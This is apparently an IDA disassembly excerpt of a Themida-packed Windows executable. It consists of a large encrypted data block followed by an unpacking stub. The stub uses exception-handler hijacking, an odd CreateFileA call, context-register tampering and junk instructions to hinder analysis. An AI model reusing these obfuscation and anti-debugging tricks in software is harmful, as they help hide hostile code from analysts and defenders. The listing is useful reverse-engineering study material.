dd 0FF6010CFh, 0D007EDB6h, 0C829C3D9h, 0F652B03Dh, 5507B8A4h
dd 5062E5C4h, 70CF4071h, 24A90B15h, 4F6E8EDh, 6D0F1F9Ch
dd 0B0CC82B1h, 906625A0h, 0F52B8055h, 50DE2247h, 720CC5A2h
dd 10912057h, 0FFCC47C6h, 0D0662D11h, 0B84BFB39h, 907623D0h
dd 0B0DB8085h, 44B96329h, 72DCC5D2h, 40182067h, 0B228B5E2h
dd 4569E0D3h, 0B02CFE5Bh, 9F222555h, 70883730h, 50B2895Bh
dd 0CFE84001h, 10EEA5A8h, 0CEA0004Dh, 5B43EFE6h, 3B6CC099h
dd 0D339A179h, 8550D0D1h, 69A19F78h, 2046F88Ch, 13DD55D7h
dd 0E012BCF8h, 0A873E323h, 399CD08Bh, 800044EAh, 4BE80B15h
dd 40CCBC3Eh, 0B3C3261h, 98C082h, 0CDE972ADh, 0A026E053h
dd 0AF24F78Bh, 1D72A09Fh, 0B1937C0Bh, 12BD62C0h, 0D4E17B81h
dd 650A3075h, 0E07483D1h, 94D9D17Ch, 5B9DDC0Dh, 152D63D4h
dd 7058C2EDh, 285BEB7Bh, 0D8945083h, 0EFC5D4F4h, 0F0E0A96Ch
dd 0DEF360B3h, 0C2208772h, 98959BF6h, 8F4402AAh, 5F579FB4h
dd 0CF3AF274h, 3456AB68h, 0D994A7BCh, 2F49E0E3h, 0F2B72F76h
dd 0F026EAAEh, 3E4880D5h, 5CC5A048h, 0F471C705h, 999A3085h
dd 0E002C0E8h, 585F6D13h, 0B38CC090h, 8070D8DAh, 0D57DE605h
dd 53B84BE5h, 720F5413h, 0EB8CE6FBh, 0A3F1C775h, 0D516E043h
dd 39BCC0E9h, 0CE3D5CC9h, 0E5F7D7F6h, 50BE5EA5h, 3F4BA840h
dd 10FB3AA2h, 9AF450CDh, 2FB98A5Bh, 0A0D21E8Ch, 0CF5225BFh
dd 713D086Ah, 0DC36600Bh, 0D87BBF55h, 102A2046h, 0B6A465AEh
dd 83138CCAh, 0C269A32Ch, 0D1BBD486h, 3CDD7F95h, 0AF0E7079h
dd 208A7274h, 44DFA987h, 1800106Fh, 0D0A6E0CAh, 0D118A52Ah
dd 0E7BDC574h, 3EAE5ABh, 4E0903h, 59922963h, 75ED45DBh
dd 0ADD8575Dh, 38291FEBh, 0B07CC0BAh, 0F570C51Ch, 2A7F486h
dd 391C30FEh, 55782937h, 47BA4580h, 0F883F65h, 0D01408CCh
dd 0D5FFC0D9h, 0FB31C13Dh, 2A8F050h, 3CF716A2h, 30212714h
dd 0F8C8C840h, 0E878FF42h, 8336E063h, 0D1B4836Ch, 0DEE7C7C1h
dd 1641F43Ah, 39BC3082h, 551829D7h, 471A4520h, 0F27FF05h
dd 5D32B06Ch, 0A03150BCh, 0C0D6CADFh, 8F0F81EFh, 40C08ABEh
dd 1498C9D1h, 2E6CB588h, 30DA000Dh, 91DE5D4Eh, 0E06CC079h
dd 575F5Fh, 18889088h, 502A605Ah, 67D52A55h, 522EB558h
dd 9A74005Dh, 4539B7F7h
dd 0B07C82CDh, 6F0664BCh, 60FACC50h, 32CB9F8Bh, 6F04500Fh
dd 581FAD14h, 0A650103Ch, 0EE9075DCh, 481FC0D9h, 2BC6AF90h
dd 0F9E88015h, 40CC383Eh, 66342A61h, 2E78B5F8h, 300500BDh
dd 0D082645Ch, 70E7C0F9h, 9318F0CFh, 1819EA15h, 90BE60EBh
dd 72F1BFC7h, 930A3009h, 74BFFF25h, 0D056E684h, 0F2A045A0h
dd 1D2FA0DFh, 7058C215h, 1286F596h, 62C540D1h, 0EF6A200Dh
dd 0E0DE6E98h, 2F7E63B3h, 0B5F94456h, 90B8A0FFh, 3224355Ah
dd 0C5E1605Bh, 30D47E9Bh, 1F95D814h, 0F015BEB9h, 0A03369E3h
dd 835CD0CBh, 0C1C1A3E6h, 74C2D185h, 0CFB9F2Ah, 0CFF45063h
dd 0A46652h, 0FF80856Dh, 0D0E37A97h, 3945F3B9h, 8070D4DAh
dd 2189D105h, 5F7E7FC3h, 0A5DB1051h, 10DA1E79h, 747FC018h
dd 0D016E510h, 0F2C44560h, 28A1A09Fh, 7008F2DEh, 0A7962B50h
dd 206DC404h, 10FA2027h, 0F3A675EDh, 0C05688F6h, 0B33EF319h
dd 6763577Eh, 0F4BD0984h, 0E8DE7049h, 3084693Eh, 13166BDCh
dd 0E0C06878h, 0D3A4D3A3h, 47ED3788h, 0EC47290Eh, 0B36890D7h
dd 5645D734h, 0BD81A318h, 0A75538D4h, 2003146Eh, 0F8678B9Ah
dd 8ACD107Ah, 0FE9BD740h, 0F385F43Ch, 223F6C11h, 0CAFCBF1h
dd 139E623Ch, 0B4BD101Fh, 9211F4Bh, 3547018Ah, 9032E23Fh
dd 549C0B36h, 0DFAE538Bh, 3014F8C3h, 0DF31E3E7h, 4DED0B66h
dd 0D016A17Bh, 83734B25h, 0F16E0CB6h, 0AC48657h, 70B262BCh
dd 44187CDBh, 64C41CFBh, 85903C60h, 5BFF038Bh, 0E899FD08h
dd 9BF6A0EAh, 226BD368h, 634B6FFBh, 0BB8BBF5Eh, 594D1D44h
dd 74CF43A3h, 2F991FB5h, 0E54F9704h, 8B36AF91h, 4DA77F7Ah
dd 62CD237Ch, 0CFB4C4DEh, 4077DF88h, 0FFBF544Eh, 2F69E547h
dd 58E7F396h, 6F1D5E22h, 8A6090C0h, 0B8D19FA7h, 0CF2BBE20h
dd 0EE96A4A8h, 2213FFB2h, 0D0C6F61Bh, 4F0F2899h, 90FA5FC0h
dd 2DB880E5h, 644D8D0Ah, 0CAED4021h, 74AA20D4h, 45DB3282h
dd 0D0E6A25Bh, 0D6BE49ADh, 0CA0F9EEEh, 730B051Ah, 0E0560BBh
dd 56EA435Dh, 558A1B86h, 0F35385A2h, 93D1E053h, 0B0ECC0EFh
dd 56F7AF9Fh, 86188046h, 5FBC3CA8h, 3067FC15h, 1849AB37h
dd 5010A0E0h, 7ED2EF23h, 8DFCC02Ah, 0B08280EFh, 73EB047Ah
dd 0DB65601Bh, 30944009h, 0F86B3684h, 0F1FEF85h, 923A6DB0h
dd 7E2FC049h, 9092C17Ch, 703CE126h, 0AFE0FBA3h, 4A464F0Eh
dd 936A2094h, 0E052C098h, 923DE0E3h, 0A0164B81h, 94716104h
dd 754340E6h, 1AC7A878h, 0B071C931h, 139A3085h, 0F0F80C27h
dd 81E6E113h, 4F6A7E51h, 12A790A0h, 0C1D8903Ch, 0D3CB508Bh
dd 5A245068h, 4803DED7h, 549814E5h, 55E91FA5h, 7228CF3Bh
dd 553425Ch, 7018B9B1h, 0D5598530h, 30447905h, 11FA2027h
dd 755722B9h, 0D056D9F7h, 0B0ECC01Ah, 3513ACCAh, 7028B9E1h
dd 0AB219FF4h, 0BD054A5Ah, 103A19D3h, 0F8D000FDh, 0D076E6CBh
dd 0B6749949h, 0C8C2A0EFh, 8F8ED67Dh, 2C8BEAC4h, 0B6B450D8h
dd 29260A03h, 7588003Dh, 0D0B6D9AFh, 35BB209Bh, 90E2999Bh
dd 709880CDh, 0EDBE691Eh, 30F4796Fh, 0E74F54B6h, 0E00984D8h
dd 0D0D6E003h, 3067B4A1h, 801BDCF2h, 0C0BC85F5h, 6913DD1Bh
dd 44114051h, 6E07A040h, 0F56010B4h, 55F17E47h, 0B0BCF95Dh
dd 8052A07Fh, 0CD788951h, 508E59B7h, 0B3CD3773h, 0A8E4B2h
dd 567800BDh, 38C91F91h, 4F233D4Ah, 9080D147h, 0CB50B55h
dd 53CE70B9h, 2036C03Ch, 0EC41C847h, 74CFFF12h, 0D066E2C2h
dd 0F27475B2h, 0CE39A0CFh, 988683B9h, 0AF019D77h, 329FC2DEh
dd 5ACB2077h, 0F0F06039h, 82686B23h, 0A446C33Fh, 67F2DA0Ch
dd 60B10430h, 502E605Bh, 0B9C03521h, 38E81Ah, 60958D4Dh
dd 5BC6F0CAh, 0A07CA814h, 0C7B6533Fh, 70B2E45Ch, 50EBED8Bh
dd 0C3045021h, 0F3AA9172h, 7F4F37Fh, 0C0CF64A6h, 0B09CC0C9h
dd 3EC6AF4Fh, 8FE88015h, 816648C8h, 0BBCBBF8Ch, 989892h
dd 0FF5285ADh, 0D02678D7h, 0C8794BF9h, 1B72B0DDh, 3A99900Fh
dd 50BE00CFh, 382E6B71h, 0D9392244h, 0CBA472DEh, 0C046880Eh
dd 0D8714B29h, 0E2A2B0DFh, 54740B23h, 4086C598h, 0B39440D1h
dd 103A48C0h, 8A6B000Dh, 0D8CCE1BBh, 47AB375Ah, 0D25E2574h
dd 0F58F80B5h, 500E59CFh, 30C440B1h, 89D22E3h, 0D91C723Eh
dd 140369D3h, 3B5CD0CBh, 0A003885Ch, 492C0522h, 500E606Bh
dd 32804021h, 0F8CB3830h, 0FBFFC46h, 0D3EA0B4Ah, 0C2A7E8CAh
dd 6364F153h, 0FD81DFA1h, 4047F01Eh, 0F899C951h, 0E3CA30B5h
dd 0FF2E5F39h, 579B7272h, 0B0BCC1D6h, 0A9E035B5h, 767D8025h
dd 6D6B2B2h, 0B93252B5h, 3712C977h, 0AA5FFF17h, 0D34AAAF8h
dd 351BD053h, 9082993Bh, 50388065h, 25DB2186h, 0F409C9A2h
dd 132A3015h, 0E0C06878h, 0B8D163A3h, 0B01CC049h, 19EAE3C4h
dd 7068D312h, 108B973Bh, 31B450DEh, 645A2087h, 0F843C72Ah
dd 70064073h, 89C8458Eh, 90F2A00Fh, 77EC90C5h, 0A7658839h
dd 0BBBEBFEEh, 0C8E43Ah, 7935E35Dh, 0DD3DC848h, 0F2BC4D22h
dd 92C1A05Fh, 3B43831Eh, 0D4EB97B3h, 33145078h, 64BA20E7h
dd 38E58B99h, 0D306F071h, 0A0EE7054h, 3CD7A37Fh, 71F89067h
dd 40D4EBC3h, 7238C5FAh, 5AD32007h, 799373B5h, 9237E829h
dd 0E8BF4319h, 14072BAFh, 18289017h, 50CE496Bh, 697C02A0h
dd 9A4A6346h, 0E0F98278h, 54E31793h, 0B00CD000h, 0E492A0DFh
dd 18D58383h, 0E6FE703Bh, 0B421B7D1h, 104A304Eh, 85F0021Dh
dd 27501ED7h, 0A00544ECh, 94E2A00Fh, 0FA8EF5B5h, 4017E3EEh
dd 0B451B701h, 107A309Eh, 8520000Dh, 0D2C16AF8h, 666E6A5Bh
dd 99F957DDh, 0B28A876Fh, 0B2886221h, 54D673C6h, 9FCE025Ch
dd 4DD3587Fh, 0D0E6A27Fh, 0F18CFC9h, 6FBD5F95h, 60AAF8A0h
dd 0E21B9FBBh, 0CF34505Fh, 9854B2h, 0D615FFADh, 5D26F06Dh
dd 0A08EA074h, 0F8E72D9Fh, 21189007h, 0AFBE0AB9h, 20261C24h
dd 0B69FDF37h, 0FB010E3h, 0C014BC36h, 96693F29h, 1DA2B0F1h
dd 6009C8C0h, 85B9F1Bh, 66945083h, 2E98B598h, 5563001Dh
dd 0D096A2EFh, 0B0C40359h, 0CDD2A0FFh, 9DF981CFh, 500E58C4h
dd 0F1CBB0A9h, 7FA012h, 33D0853Dh, 20492860h, 30D90186h
dd 5302B03Ah, 5AA890E8h, 3652157Bh, 3CD03CA0h, 3EF51ABh
dd 0F84E80Dh, 0D5931FECh, 4F767551h, 6FE048A0h, 5EB97FFAh
dd 6064D54h, 159C5265h, 70CA20F7h, 0F8FA575h, 5B2F95BCh
dd 3D8CE4ADh, 8023E83Ah, 78580B35h, 5694E1BDh, 66713383h
dd 0EFFA204Fh, 9A648BCDh, 2F16B273h, 0A0D2328Ch, 985623BFh
dd 4F64BEE4h, 53AB3C34h, 0D8808632h, 0EFD5DA35h, 0F2F7F15h
dd 68B5815Ch, 0B01CC03Dh, 0BF7A1104h, 98688095h, 500E6026h
dd 88B46023h, 105A20B7h, 0F00010C5h, 0D08222D3h, 0B04D45C1h
dd 90F1481Fh, 5C5A80C5h, 746AED6Bh, 0B3CA8D1Dh, 9F6204Fh
dd 0F030E83Dh, 845DE003h, 3B21F08Dh, 0F6CF2155h, 98C890CCh
dd 0AF91807Ch, 30108220h, 17BC23E5h, 7932058Ch, 0A90A79EEh
dd 119415FFh, 0FF8B0100h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
call sub_61F9A6
cld
jmp short $+2
cmc
call sub_61FA55
jmp loc_61F9DF
; =============== S U B R O U T I N E =======================================
sub_61F9A6 proc near ; CODE XREF: Themida_:0061F993p
push dword ptr fs:0
mov dword ptr ds:loc_60D050+2, ebp
cmc
mov fs:0, esp
xor ecx, ecx
push 80000000h
push ecx
push ecx
push 1
push 80000000h
push 80000000h
push 400h
push ecx
push ecx
push ecx
call ds:dword_512000 ; CreateFileA
loc_61F9DF: ; CODE XREF: Themida_:0061F9A1j
nop
cmc
mov ebp, 0F1446C8Eh
nop
cld
nop
cmc
mov esi, [ebp-8]
mov fs:0, esi
mov ebx, ebx
sub eax, eax
loc_61F9F7: ; CODE XREF: sub_61F9A6+57j
dec al
or al, al
jz short loc_61FA01
jnz short loc_61F9F7
jmp short near ptr dword_61FA68
; ---------------------------------------------------------------------------
loc_61FA01: ; CODE XREF: sub_61F9A6+55j
xchg ebx, ebx
cmc
jmp short $+2
jmp short $+2
cld
call sub_61FA4F
xchg ebx, ebx
sub ebx, 0FFFF807Eh
push ebx
sub edx, edx
xor edx, 2A75h
jmp short $+2
mov ebx, ebx
xchg ebx, ebx
sub esi, esi
add esi, 0D6h
jmp short $+2
loc_61FA2F: ; CODE XREF: sub_61F9A6+9Fj
call near ptr word_61FA66
cmc
jmp short $+2
add ebx, 1
add si, 68h
dec edx
mov edx, edx
cmp edx, 0
ja short loc_61FA2F
pop ebx
leave
mov ebx, ebx
cld
jmp ebx
sub_61F9A6 endp
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
sub_61FA4F proc near ; CODE XREF: sub_61F9A6+63p
pop ebx
nop
nop
push ebx
retn
sub_61FA4F endp
; ---------------------------------------------------------------------------
stc
; =============== S U B R O U T I N E =======================================
sub_61FA55 proc near ; CODE XREF: Themida_:0061F99Cp
arg_C = dword ptr 10h
mov edx, [esp+arg_C]
xor eax, eax
pop dword ptr [edx+0B8h]
retn
sub_61FA55 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 87h, 0DBh
db 2 dup(0)
word_61FA66 dw 0 ; CODE XREF: sub_61F9A6:loc_61FA2Fp
dword_61FA68 dd 0CAEh dup(0) dword_622D20 dd 8B8h dup(0) Themida_ ends
; Section 5. (virtual address 00225000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00225000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 625000h
align 2000h
_idata2 ends
end start